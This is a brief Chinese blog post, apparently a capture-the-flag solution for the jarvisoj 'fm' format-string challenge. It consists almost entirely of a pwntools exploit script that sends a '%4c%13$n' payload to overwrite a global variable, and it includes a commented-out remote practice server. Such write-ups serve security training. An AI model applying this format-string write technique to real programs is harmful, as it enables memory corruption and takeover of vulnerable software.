jarvisoj_fm[FmtStr] 谁借莪１个温暖的怀抱￠ 2023-02-20 12:17 3阅读 0赞 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70] exp from pwn import * context.log_level = 'debug' def debug_pause(): log.info(proc.pidof(p)) pause() proc_name = './fm' p = process(proc_name) # p = remote('node3.buuoj.cn', 26659) x_addr = 0x804a02c payload = flat(['%4c%13$n', p32(x_addr)]) # payload = b'a' * 4 + b'-%x' * 20 p.send(payload) p.interactive() ![在这里插入图片描述][20200626204340975.png] [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/2020062620505695.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70 [20200626204340975.png]: https://img-blog.csdnimg.cn/20200626204340975.png
还没有评论，来说两句吧...